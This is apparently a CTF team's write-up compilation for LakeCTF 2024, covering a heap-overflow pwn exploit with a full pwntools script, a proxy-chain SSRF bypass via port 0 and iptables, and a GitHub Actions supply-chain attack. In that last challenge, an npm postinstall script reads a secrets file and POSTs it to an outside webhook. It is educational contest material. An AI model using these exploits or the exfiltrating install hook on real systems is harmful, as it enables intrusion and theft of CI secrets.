.;,;.
LakeCTF 2024 Writeup Compilation

LakeCTF 2024 Writeup Compilation

,
December 8, 2024
17 min read
Table of Contents

Yesterday we participated in LakeCTF 2024, a 24-hour jeopardy event for LakeCTF Finals. We ended up in first place! Here are some of the writeups for the challenges we solved.

Binary Exploitation

bash plus plus

Category
pwn
Points
170
Files
file.zip
Flag
EPFL{why_add_a_logging_feature_in_the_first_place}

What if you had a shell where you could only do maths? nc chall.polygl0ts.ch 9034

We used a heap overflow from strcat, which allowed unbounded input into a variable of fixed size, to modify variables stored in chunks created by C++ classes for address leaks and function calls.

Analysis

We are given a Dockerfile, binary, and source code for this challenge. Reading the source code, the program defines classes Log and Variable, Variable having two child classes stringVariable and longVariable, along with enum TYPE:

class Log {
    int size;
    char logs[10];
    int get_size() {...}
    void increase_size() {...}
    void add_cmd_to_log(const char* cmd) {...}
    void reset_log() {...}
};
 
enum TYPE {...};
class Variable {
    TYPE type;
    union {
        long l;
        char* s;
    } value;
    Variable(long l) : type(LONG) {...}
    Variable(const char* s) : type(STRING) {...}
    virtual void print() {...}
};
class longVariable : public Variable {
    longVariable(long l) : Variable(l) {}
    void print() override {...}
};
class stringVariable : public Variable {
    void print() override {...}
};
 

A map variables is also defined to store Variable objects:

std::map<std::string, Variable*> variables;

The program also defines functions to deal with setting and getting the value of Variable objects and allowing for basic arithmetic on longVariable objects. The program also defines a win() function, which prints the flag.

void setvar(const char* name, const char* p){...}
Variable* getvarbyname(const char* name) {...}
long getLongVar(const char* name) {...}
long getLongVar(const char* name) {...}
void process_arithmetic(char* cmd) {...}
void win() {...}

The main() function allows for repeated input, and appears to process input to match certain syntaxes. The input goes to a char array each time, and although the input is unbound, it only seems to cause a program crash, but will come in handy. The inputs are processed as follows:

  • $((${var1_name}{op}${var2_name}) will call process_arithmetic()
  • ${var_name}={var_value} will call setvar()
  • ${var_name} will store the output of getvarbyname() in a Variable* and call print() from the output Variable
  • log will set the Log *log log variable to a new Log object.
  • If the input does not match any of the formats above, it will just print the input and proceed

Getting a heap leak

The first input should be b"log", so the chunk it creates will be right next to chunks created by later commands instead of the cin/cout chunks it initially borders. The Log implementation allows for infinite heap overflows, since each iteration adds the command using strcat to a char array of length 10, which is stored on the heap.

p.sendlineafter(b"> ", b"log")

After reinitializing the log, we initialize a stringVariable and a longVariable:

p.sendlineafter(b"> ", b"$a=s") # stringVariable
p.sendlineafter(b"> ", b"$b=0") # longVariable

The heap starting from the log looks something like this:

--log--
                                        log:
0x56521666e6e0  0x0000000000000000      0x0000000000000021      ........!.......
                                                                end of log ↓
0x56521666e6f0  0x24676f6c00000002      0x0000000000622461      ....log$a$b.....
--start of variable $a--
                                        $a:
0x56521666e700  0x0000000000000000      0x0000000000000021      ........!.......
                vtable for
                stringVariable+16:      type = STRING
0x56521666e710  0x00005651f4dd3bd0      0x0000000000000001      .;..QV..........
                &value
0x56521666e720  0x000056521666e730      0x0000000000000021      0.f.RV..!.......
                $a->value
0x56521666e730  0x0000000000000073      0x0000000000000000      s...............
                                        variables[0]
0x56521666e740  0x0000000000000000      0x0000000000000051      ........Q.......
0x56521666e750  0x0000000000000001      0x00005651f4dd4288      .........B..QV..
0x56521666e760  0x0000000000000000      0x000056521666e7c0      ..........f.RV..
0x56521666e770  0x000056521666e780      0x0000000000000001      ..f.RV..........
0x56521666e780  0x0000000000000061      0x0000000000000000      a...............
--start of variable $b--
                                        $b:
0x56521666e790  0x000056521666e710      0x0000000000000021      ..f.RV..!.......
                vtable for
                longVariable+16         type = LONG
0x56521666e7a0  0x00005651f4dd3be8      0x0000000000000000      .;..QV..........
                value = 0               variables[1]
0x56521666e7b0  0x0000000000000000      0x0000000000000051      ........Q.......
0x56521666e7c0  0x0000000000000000      0x000056521666e750      ........P.f.RV..
0x56521666e7d0  0x0000000000000000      0x0000000000000000      ................
0x56521666e7e0  0x000056521666e7f0      0x0000000000000001      ..f.RV..........
0x56521666e7f0  0x0000000000000062      0x0000000000000000      b...............
                                        top chunk
0x56521666e800  0x000056521666e7a0      0x000000000000d801      ..f.RV..........
The chunks created by variables can be ignored

We will trigger a heap overflow to overwrite the type of $a from a stringVariable to a longVariable. Sending 29 trash bytes will change the type of $a to the null byte at the end of the input, or 0. Now that $a is a longVariable, it can be used in process_arithmetic calculations. This is important because process_arithmetic does not use the print() function, but just sends the output of the math operation to stdout, since the value of the vtable entry for print() has been overwritten with trash to overwrite the Variable type.

std::cout << a {op} b << std::endl;

Since the longVariable stores its value directly, sending $(($a+$b) will print &$a->value + 0, or just &$a->value, which is relative to the heap base:

p.sendlineafter(b"> ", cyclic(29))
p.sendlineafter(b"> ", b"$(($a+$b)")
heap_leak = int(p.recvline(keepends=False))
log.info(f"Heap leak: {heap_leak:#x}")
Heap leak: 0x56521666e730

Getting a PIE Leak

Next, we will find the PIE base to calculate the win() function address. A similar approach to the heap leak will be used, but this time it will use getLongVar’s invalid variable message to leak a PIE address. When getLongVar detects a Variable does not have type LONG, it will execute this:

std::cout << "Invalid variable " << name << ": " << v->value.s << std::endl;

where v is:

Variable* v = getvarbyname(name);

If v->value.s is an address that points to a PIE address (heap addr->PIE addr), that PIE address will be leaked and the ELF base can be calculated. To start, reset the log so heap overflows will be easy to calculate.

p.sendlineafter(b"> ", b"log")

Create one stringVariable and one longVariable:

p.sendlineafter(b"> ", b"$c=s")
p.sendlineafter(b"> ", b"$d=0")

The heap starting from the new log will look something like this:

--log--
                                        log:
0x56521666e800  0x000056521666e7a0      0x0000000000000021      ..f.RV..!.......
                                                                end of log ↓
0x56521666e810  0x24676f6c00000002      0x0000000000642463      ....log$c$d.....
--start of variable $c--
                                        $c:
0x56521666e820  0x0000000000000000      0x0000000000000021      ........!.......
                vtable for
                stringVariable+16       type = STRING
0x56521666e830  0x00005651f4dd3bd0      0x0000000000000001      .;..QV..........
                &value
0x56521666e840  0x000056521666e850      0x0000000000000021      P.f.RV..!.......
                $c->value
0x56521666e850  0x0000000000000073      0x0000000000000000      s...............
                                        variables[2]
0x56521666e860  0x0000000000000000      0x0000000000000051      ........Q.......
0x56521666e870  0x0000000000000001      0x000056521666e7c0      ..........f.RV..
0x56521666e880  0x0000000000000000      0x000056521666e8e0      ..........f.RV..
0x56521666e890  0x000056521666e8a0      0x0000000000000001      ..f.RV..........
0x56521666e8a0  0x0000000000000063      0x0000000000000000      c...............
--start of variable $d--
                                        $d:
0x56521666e8b0  0x000056521666e830      0x0000000000000021      0.f.RV..!.......
                vtable for
                longVariable+16         type = LONG
0x56521666e8c0  0x00005651f4dd3be8      0x0000000000000000      .;..QV..........
                value = 0               variables[3]
0x56521666e8d0  0x0000000000000000      0x0000000000000051      ........Q.......
0x56521666e8e0  0x0000000000000000      0x000056521666e870      ........p.f.RV..
0x56521666e8f0  0x0000000000000000      0x0000000000000000      ................
0x56521666e900  0x000056521666e910      0x0000000000000001      ..f.RV..........
0x56521666e910  0x0000000000000064      0x0000000000000000      d...............
                                        top chunk
0x56521666e920  0x000056521666e8c0      0x000000000000d6e1      ..f.RV..........

Overflowing 37 trash bytes will reach $c->value, which can be overwritten with the heap address that points to a PIE address. To find this, we will look at the chunks created by our Variable objects. These chunks contain vtable entries for the their print functions, which are located in the section of memory affected by PIE therefore usable to calculate the ELF base. We can use xinfo to calculate the offset of the address we leak to the ELF base.

pwndbg> xinfo 0x5651f4dd3be8
Extended information for virtual address 0x5651f4dd3be8:
 
  Containing mapping:
    0x5651f4dd3000     0x5651f4dd4000 r--p     1000   7000 ./bash_plus_plus/main
 
  Offset information:
         Mapped Area 0x5651f4dd3be8 = 0x5651f4dd3000 + 0xbe8
         File (Base) 0x5651f4dd3be8 = 0x5651f4dcb000 + 0x8be8
      File (Segment) 0x5651f4dd3be8 = 0x5651f4dd3ba8 + 0x40
         File (Disk) 0x5651f4dd3be8 = ./bash_plus_plus/main + 0x7be8
 
 Containing ELF sections:
        .data.rel.ro 0x5651f4dd3be8 = 0x5651f4dd3bc0 + 0x28
Removing the absolute path

So, our payload will be:

payload = flat([
	cyclic(37),
	heap_leak+112, # &$b->print
])
p.sendlineafter(b"> ", payload)
p.sendlineafter(b"> ", b"$(($c+$d)")
# &$b->print - offset = base
elf.address = u64(p.recvline(keepends=False)[20:].ljust(8, b'\0')) - 0x8be8
log.info(f"PIE: {elf.address:#x}")
PIE: 0x5651f4dcb000

winning

Our final goal is to overwrite a Variable object’s print function with win, then call it. First we reset the log.

p.sendlineafter(b"> ", b"log")

To call win(), we need to create a pointer of the win() function (ptr->win). This can be done by creating a longVariable that contains the win() function, then creating a stringVariable and overwriting its print() function address with the address to the longVariable containing win.

p.sendlineafter(b"> ", b"$e=s") # To overwrite print
p.sendlineafter(b"> ", f"$win={elf.address+11693}".encode()) # to hold win address

This is the heap starting from the new log:

--log--
                                        log:
0x56521666e920  0x000056521666e8c0      0x0000000000000021      ..f.RV..!.......
                                                                  end of log ↓
0x56521666e930  0x24676f6c00000002      0x0000006e69772465      ....log$e$win...
--start of variable $e--
                                        $e:
0x56521666e940  0x0000000000000000      0x0000000000000021      ........!.......
                vtable for
                stringVariable+16       type = STRING
0x56521666e950  0x00005651f4dd3bd0      0x0000000000000001      .;..QV..........
                &value
0x56521666e960  0x000056521666e970      0x0000000000000021      p.f.RV..!.......
                $e->value
0x56521666e970  0x0000000000000073      0x0000000000000000      s...............
                                        variables[4]
0x56521666e980  0x0000000000000000      0x0000000000000051      ........Q.......
0x56521666e990  0x0000000000000001      0x000056521666e8e0      ..........f.RV..
0x56521666e9a0  0x0000000000000000      0x000056521666ea00      ..........f.RV..
0x56521666e9b0  0x000056521666e9c0      0x0000000000000001      ..f.RV..........
0x56521666e9c0  0x0000000000000065      0x0000000000000000      e...............
--start of variable $win--
                                        $win:
0x56521666e9d0  0x000056521666e950      0x0000000000000021      P.f.RV..!.......
                vtable for
                longVariable+16         type = LONG
0x56521666e9e0  0x00005651f4dd3be8      0x0000000000000000      .;..QV..........
                value = &win            variables[5]
0x56521666e9f0  0x00005651f4dcddad      0x0000000000000051      ....QV..Q.......
0x56521666ea00  0x0000000000000000      0x000056521666e990      ..........f.RV..
0x56521666ea10  0x0000000000000000      0x0000000000000000      ................
0x56521666ea20  0x000056521666ea30      0x0000000000000003      0.f.RV..........
0x56521666ea30  0x00000000006e6977      0x0000000000000000      win.............
                                        top chunk
0x56521666ea40  0x000056521666e9e0      0x000000000000d5c1      ..f.RV..........

Overwriting the print() function address with &$e->value using the heap overflow:

payload = flat([
	cyclic(19),
	heap_leak+704, # $win->value
])
p.sendlineafter(b"> ", payload)

To call win(), we just need to try to print the variable (${var_name}).

p.sendlineafter(b"> ", b"$e")
flag{}

Running the script on remote:

EPFL{why_add_a_logging_feature_in_the_first_place}

Final solve script:

solve.py
#!/usr/bin/env python3
from pwn import *
 
context.binary = elf = ELF("./main")
 
gdbscript = """
	brva 0x2ff0
	c
"""
 
def conn():
	if args.REMOTE:
		#p = remote("addr", args.PORT)
		#p = remote(args.HOST, args.PORT)
		p = remote("chall.polygl0ts.ch", 9034)
	elif args.GDB:
		p = gdb.debug([elf.path], gdbscript=gdbscript)
		log.info("gdbscript: " + gdbscript)
	else:
		p = process([elf.path])
	return p
 
p = conn()
 
# solve or else
 
# heap leak
p.sendlineafter(b"> ", b"log")
p.sendlineafter(b"> ", b"$a=s")
p.sendlineafter(b"> ", b"$b=0")
p.sendlineafter(b"> ", cyclic(29))
p.sendlineafter(b"> ", b"$(($a+$b)")
heap_leak = int(p.recvline(keepends=False))
log.info(f"Heap leak: {heap_leak:#x}")
 
# elf leak
p.sendlineafter(b"> ", b"log")
p.sendlineafter(b"> ", b"$c=s")
p.sendlineafter(b"> ", b"$d=0")
payload = flat([
	cyclic(37),
	heap_leak+112,
])
p.sendlineafter(b"> ", payload)
p.sendlineafter(b"> ", b"$(($c+$d)")
elf.address = u64(p.recvline(keepends=False)[20:].ljust(8, b'\0')) - 0x8be8
log.info(f"PIE: {elf.address:#x}")
 
# solve
p.sendlineafter(b"> ", b"log")
p.sendlineafter(b"> ", b"$e=s")
p.sendlineafter(b"> ", f"$win={elf.address+11693}".encode())
payload = flat([
	cyclic(19),
	heap_leak+704,
])
p.sendlineafter(b"> ", payload)
p.sendlineafter(b"> ", b"$e")
 
p.interactive()
 
p.interactive()
 

Web

o1

Category
web
Points
364
Files
web-o1.zip
Flag
EPFL{gpt ch411zz is the nEw m3t4}

This challenge was generated by chatgpt o1-mini. The website contains three main components:

app1.py
@app.route('/secret', methods=['GET'])
def secret():
    # Allow access only from localhost
    if request.remote_addr != '127.0.0.1':
        return 'Access denied', 403
    return 'EPFL{fake_flag}', 200
 
...
 
@app.route('/proxy', methods=['GET'])
def proxy():
    url = request.args.get('url', '')
    if not url:
        return 'Missing url parameter', 400
 
    # Replace backslashes with slashes
    url = url.replace('\\', '/')
    parsed = urllib.parse.urlparse(url)
 
    # Check for valid protocol
    if parsed.scheme not in ['http', 'https']:
        return 'invalid protocol', 400
 
    # Check for custom port
    if parsed.port:
        return 'no custom port allowed', 400
 
    # Forward the request to the second proxy
    try:
        response = requests.post('http://localhost:1111/proxy', json={'url': url}, timeout=5)
        return response.text, response.status_code
    except requests.exceptions.RequestException:
        return 'Error contacting second proxy', 500
app2.py
@app.route('/proxy', methods=['POST'])
def proxy():
    data = request.get_json()
    if not data or 'url' not in data:
        return 'Missing url parameter', 400
 
    url = data['url']
    parsed = urllib.parse.urlparse(url)
    scheme = parsed.scheme
    hostname = parsed.hostname
    port = parsed.port
 
    # Determine the port if not explicitly specified
    if port is None:
        try:
            port = socket.getservbyname(scheme)
        except:
            return 'Invalid scheme', 400
 
    # Validate the target domain based on the port
    if (port == 443 and hostname != 'example.com') or (port == 80 and hostname != 'example.net'):
        return 'invalid target domain!', 400
 
    # Forward the request to the third proxy
    try:
        response = requests.post('http://localhost:3000/proxy', json={'url': url}, timeout=5)
        return response.text, response.status_code
    except requests.exceptions.RequestException:
        return 'Error contacting third proxy', 500
app3.js
...
app.post('/proxy', async (req, res) => {
    const url = req.body.url;
    if (!url) {
        return res.status(400).send('Missing url parameter');
    }
 
    try {
        // Use Node.js's built-in fetch function
        const response = await fetch(url);
        const data = await response.text();
 
        // Forward the response back to the caller
        res.status(response.status).send(data);
    } catch (error) {
        console.error('Error fetching the URL:', error);
        res.status(500).send('Error fetching the URL');
    }
});
 
...

The only port that’s exposed is port 9222, and goal is to fetch 127.0.0.1:9222/secret from your local machine.

Look into app1.py’s code, it’s trying to get the request IP address by request.remote_addr. There shouldn’t be any http header bypass in here; however, it’s always a good idea to check. So I just used this payload list and, of course, it didn’t work:

So the only approach for solving is to bypass the checkers in the program: app1.py -> app2.py -> app3.js -> app1.py.

Checkers?

app1.py will replace all the backslashes, and then makes sure the URL schema is HTTP or HTTPS without custom ports allowed. If our goal is to let app3.js request http://127.0.0.1:9222/secret, we need to have a way to smuggle in the custom port.

Now looking into app2.py, it’s even more harsh. It checks the URL if (port == 443 and hostname != 'example.com') or (port == 80 and hostname != 'example.net'): return 400, which totally removes the idea of requesting 127.0.0.1.

The good thing here is that there is no checker on app3.js; however, it’s using node.js’s fetch() which we only can use HTTP and HTTPS protocol URLs (file:/// is not supported, so we can’t just fetch file:///app1.py).

URL confusion attempts

One possibility here is to bypass the checker by using the difference between node.js’s fetch() and Python’s urllib.parse.urlparse(url). Python’s urllib strictly follows RFC3986 protocol (formal definition from here):

image13

For a more simple picture:

image

The first idea is that everything in front of the @ is actually the credentials of the URL, not the actual domain. Interestingly enough, everything after \ in Python will be just ignored.

So in combination, if I request https://attacker.com\@@example.com, it would actually take me to https://attacker.com in normal browser:

>https://[email protected]
example.com
>https://attacker.com%[email protected]
example.com
>https://attacker.com\@@example.com
example.com
>https://attacker.com:\@@example.com
example.com
>https://attacker.com\[email protected]/
example.com

Sadly in fetch(), due to safety issues they don’t allow credentials in the URL:

image14

By adding extra \, can bypass both node.js’s fetch() and also bypass the Python checker:

image16

image15

Now that fetch() is working, we have another issue: app2.py is checking if the port is 80 or 443 or not. The scheme is what determines the port:

image17

My second idea is to smuggle in some wired scheme such that it would go to some interesting place. The socket.getservbyname() function will read the /etc/services. In the Docker that’s provided, there isn’t anything on port 9222, which is sad. Plus, we can’t really smuggle in a scheme because it’s strictly checked by RF3986.

ChatGPT moment

I always feel that since this code is generated by ChatGPT that there must be some error in the programming logic that’s hard to find. After a day of struggling, we saw this section:

image18

Here, it’s checking the parsed port. What if the port is 0? Then if parsed.port will be always False and pass the app1.py checker!

And in the second checker:

image5

The if statement only checks the domain when the port is 443 or 80. If the port is 0, it won’t check at all. Thus, the second checker gets passed!

Now the question becomes: is hosting server on port 0 possible?

Port 0

Node.js’s fetch() supports port 0 and we tested it, so it won’t randomly send to a port. After tons of research, it seems impossible to host a server on port 0:

image19

Here is the post.

Everything hosted there will be assigned a random port.

However, not being able to host on port 0 doesn’t mean it can’t be redirected to another port.

In this post, the author uses iptables to redirect port 0 to 80 and successfully curls port 0 to get the response.

So we used the same method and set up our server:

iptables -t nat -A PREROUTING -p tcp --dport 0 -j REDIRECT --to-port 80

Where on port 80 we set a redirection to http://127.0.0.1:9222/secret (thankfully, Node.js’s fetch() don’t care about unsafe fetch).

Flagg!!

curl "https://challs.polygl0ts.ch:9222/proxy?url=http://<youripaddr>:0"{:shell}

EPFL{gpt ch411zz is the nEw m3t4}

Misc

VerySusOrganization

We are given a link to a website that when opened allows us to generate an invite to a github organization. After accepting our invite we gain access to the highly suspicious: https://github.com/VerySusOrganization2 where we find only two repositories

verysusorganization1

Looking into the sus-image-generator-repo we are able to find a rather interesting github actions script

name: Trigger Build on Comment
 
on:
  issue_comment:
    types: [created, edited]
 
jobs:
  check-build:
    if: ${{ startsWith(github.event.comment.body, '/run-build') }}
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v2
        with:
          fetch-depth: 0
 
      - name: Set up SSH
        env:
          ACTIONS_DEPLOY_KEY: ${{ secrets.DEPENDENCY_DEPLOY_KEY }}
          FLAG: ${{ secrets.FLAG }}
        run: |
          pwd
          mkdir -p ~/.ssh
          echo "$ACTIONS_DEPLOY_KEY" > ~/.ssh/id_rsa
          echo "$FLAG" > ~/flag.txt
          chmod 600 ~/.ssh/id_rsa
          ssh-keyscan github.com >> ~/.ssh/known_hosts
          
 
      - name: Install dependencies
        run: |
          npm install

Whenever a comment is added on issues that starts with the string “/run-build” the action will clone the repository, write our flag from the FLAG environment variable to a flag.txt in the home directory, and run npm install.

{
    "name": "sus-image-generator",
    "version": "1.0.0",
    "main": "app.js",
    "keywords": [],
    "author": "paultisaw",
    "license": "ISC",
    "description": "Yet another sus image generator",
    "dependencies": {
        "express": "^4.21.1",
        "suspicious-random-number-generator": "git+ssh://[email protected]:VerySusOrganization2/suspicious-random-number-generator-repo-ZeroDayTea.git"
    }
}

Luckily for us, looking at the package.json (which specifies the dependencies to be installed) we find that our repository from earlier “suspicious-random-number-generator” is listed as a dependency. That way we can write to our suspicious-random-number-generator repository and that code will be installed upon leaving a “/run-build” comment.

How can we get code to run upon installing our other repo as a dependency though? Easily enough we can just rely on npm’s preinstall/postinstall scripts. Initially, the package.json for the suspicious-random-number-generator-repo looks like

{
  "name": "suspicious-random-number-generator",
  "version": "1.0.0",
  "main": "index.js",
  "author": "paultisaw",
  "description": "Yet another suspicious random number generator"
  }

but we can modify it to include a postinstall script that looks like

{
  "name": "suspicious-random-number-generator",
  "version": "1.0.0",
  "main": "index.js",
  "author": "paultisaw",
  "description": "Yet another suspicious random number generator",
  "scripts": {
    "postinstall": "node postinstall.js"
  }
}

and additionally we add a postinstall.js script that will read the flag and send it to an endpoint we control

const https = require('https');
 
function sendToWebhook(data) {
  const webhookUrl = new URL('https://webhook.site/[custom webhook]');
 
  const req = https.request({
    hostname: webhookUrl.hostname,
    path: webhookUrl.pathname,
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    }
  })
 
  req.write(JSON.stringify(data));
  req.end();
}
 
const fs = require('fs');
const flag = process.env.FLAG || fs.readFileSync('/home/runner/flag.txt', 'utf8').trim();
sendToWebhook({ message: "Postinstall triggered", flag: flag });

This way we can write any javascript code in our postinstall.js and it will get triggered right after the npm install runs. With the above script we can read the flag file from the directory it was created in and send it to an endpoint we control like a webhook.

After committing the changes to our repo we go back to the sus-image-generator-repo, create an issue, and leave the necessary “/run-build” comment to trigger our build.

verysusorganization2

after which we check our webhook and see that we’ve gotten the flag.

{ "message": "Postinstall triggered", "flag": "
             ⢀⣀⣀⣴⣆⣠⣤⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣻⣿⣯⣘⠹⣧⣤⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠿⢿⣿⣷⣾⣯⠉⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⠜⣿⡍⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⠁⠀⠘⣿⣆⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⡟⠃⡄⠀⠘⢿⣆⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣁⣋⣈ ⣤⣮⣿⣧⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⡿⠛⠉⠙⠛⠛⠛⠛⠻⢿⣿⣷⣤⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⠋⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠈⢻⣿⣿⡄⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣸⣿⡏⠀⠀⠀⣠⣶⣾⣿⣿⣿⠿⠿⠿⢿⣿⣿⣿⣄⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⠁⠀⠀⢰⣿⣿⣯⠁⠀⠀⠀⠀⠀⠀⠀⠈⠙⢿⣷⡄⠀
⠀⠀⣀⣤⣴⣶⣶⣿⡟⠀⠀⠀⢸⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣷⠀
⠀⢰⣿⡟⠋⠉⣹⣿⡇⠀⠀⠀⠘⣿⣿⣿⣿⣷⣦⣤⣤⣤⣶⣶⣶⣶⣿⣿⣿⠀
⠀⢸⣿⡇⠀⠀⣿⣿⡇⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀
⠀⣸⣿⡇⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠉⠻⠿⣿⣿⣿⣿⡿⠿⠿⠛⢻⣿⡇⠀⠀
⠀⣿⣿⠁⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣧⠀⠀
⠀⣿⣿⠀⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⠀⠀
⠀⣿⣿⠀⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⠀⠀
⠀⢿⣿⡆⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡇⠀⠀
⠀⠸⣿⣧⡀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠃⠀⠀
⠀⠀⠛⢿⣿⣿⣿⣿⣇⠀⠀⠀⠀⠀⣰⣿⣿⣷⣶⣶⣶⣶⠶⠀⢠⣿⣿⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⣿⣿⡇⠀⣽⣿⡏⠁⠀⠀⢸⣿⡇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⣿⣿⡇⠀⢹⣿⡆⠀⠀⠀⣸⣿⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢿⣿⣦⣄⣀⣠⣴⣿⣿⠁⠀⠈⠻⣿⣿⣿⣿⡿⠏⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠈⠛⠻⠿⠿⠿⠿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 
🎉 CONGRATULATIONS 🎉
EPFL{ThIS_was_inD33d_very_Sus}" }